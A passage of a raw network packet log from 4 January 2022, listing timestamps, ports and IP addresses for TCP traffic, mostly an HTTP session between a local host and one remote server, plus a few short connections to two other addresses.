Jan 4, 2022 19:33:38.578841925 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578841925 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578860044 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578876019 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578892946 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578908920 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578923941 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578938961 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578939915 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578943968 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578959942 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578977108 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578989029 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578993082 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578994036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579010963 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579026937 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579044104 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579060078 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579061031 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579066038 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579077005 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579093933 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579108953 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579118967 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579123020 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579125881 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579142094 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579159975 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579175949 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579190969 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579204082 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579210043 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579215050 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579216957 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579233885 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579250097 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579266071 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579274893 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579279900 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579283953 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579301119 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579315901 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579332113 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579348087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579364061 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579368114 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579371929 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579380989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579396963 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579413891 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579415083 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579420090 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579430103 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579442978 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579454899 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579467058 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579482079 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579492092 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579495907 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579498053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579516888 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579529047 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579540968 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579556942 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579575062 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579581022 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579585075 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579593897 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579611063 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579622984 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579638004 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579654932 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579670906 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579684019 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579687119 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579689980 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579704046 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579720020 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579735994 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579760075 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579767942 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579771996 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579780102 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579797983 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579816103 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579828978 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579832077 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579833984 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579849958 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.579900980 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.579905033 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.614505053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614542961 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614561081 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614578009 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614602089 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614620924 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614648104 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614670992 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614672899 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.614695072 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614701033 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.614718914 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614727974 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.614741087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614757061 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.614770889 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614794016 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614794970 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.614810944 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614831924 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614856958 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.614898920 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.614903927 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.614979982 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.822066069 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.849124908 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849210024 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849237919 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.849272966 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849334002 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849392891 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849440098 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.849443913 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.849452019 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849513054 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849580050 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849637985 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849678993 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.849683046 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.849699020 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849760056 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849819899 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849863052 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.849879026 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849939108 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.849981070 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.849999905 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850060940 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850100994 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.850120068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850178957 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850220919 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.850236893 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850295067 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850334883 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.850353956 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850411892 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850466013 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.850474119 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850522041 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850559950 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.850565910 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850615025 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850652933 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.850661993 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850708008 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850748062 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.850753069 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850800037 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850840092 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.850848913 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850897074 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850935936 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.850943089 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.850997925 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851038933 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851042986 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851088047 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851128101 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851135015 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851182938 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851221085 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851228952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851278067 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851320028 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851321936 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851366043 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851370096 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851416111 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851460934 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851500988 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851506948 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851552963 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851557970 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851562023 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851600885 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851648092 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851692915 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851692915 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851697922 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851741076 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851787090 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851797104 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851831913 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851834059 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851880074 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851923943 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.851963997 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.851969957 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.852019072 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.852020025 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.852063894 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.852109909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.852111101 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.852158070 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.852246046 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.884052038 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.884789944 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.121381998 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121481895 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121496916 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.121516943 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121562004 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121584892 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121606112 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121623039 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.121633053 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.121644020 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121704102 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121710062 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121732950 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121762991 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.121767998 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.121777058 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121798038 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121824980 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121884108 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121918917 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.121925116 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.121927023 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.121952057 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122003078 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122015953 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122039080 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122066975 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122076035 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.122081995 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.122088909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122112989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122134924 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122157097 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122179031 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122180939 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.122185946 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.122203112 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122225046 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122247934 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.122273922 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.122278929 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.127610922 CET	49846	38133	192.168.2.5	86.107.197.138
Jan 4, 2022 19:33:39.155332088 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.155843973 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.167985916 CET	38133	49846	86.107.197.138	192.168.2.5
Jan 4, 2022 19:33:39.168153048 CET	49846	38133	192.168.2.5	86.107.197.138
Jan 4, 2022 19:33:39.195264101 CET	49847	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:39.257350922 CET	80	49847	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:39.257546902 CET	49847	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:39.259689093 CET	49847	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:39.321563005 CET	80	49847	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:39.332583904 CET	80	49847	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:39.333085060 CET	49847	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:39.391400099 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391428947 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391447067 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391463995 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391480923 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391499043 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391509056 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391516924 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391534090 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391552925 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391558886 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391603947 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391607046 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391625881 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391643047 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391660929 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391678095 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391695023 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391711950 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391716957 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391724110 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391730070 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391747952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391765118 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391779900 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391782045 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391786098 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391801119 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391818047 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391834974 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391853094 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391866922 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391869068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391872883 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391887903 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391902924 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391905069 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391908884 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391922951 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391941071 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391959906 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391963005 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.391973972 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.391993046 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.392010927 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.392019033 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.392025948 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.392030001 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.392047882 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.392071009 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.392086983 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.392102957 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.392107964 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.392108917 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.392132044 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.392141104 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.392155886 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.392544985 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.425163984 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.425235033 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.425354958 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.660577059 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.660619974 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.660875082 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661218882 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661245108 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661267996 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661290884 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661314011 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661333084 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661353111 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661416054 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661439896 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661464930 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661489010 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661511898 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661535025 CET	80	49839	61.98.7.132	192.168.2.5
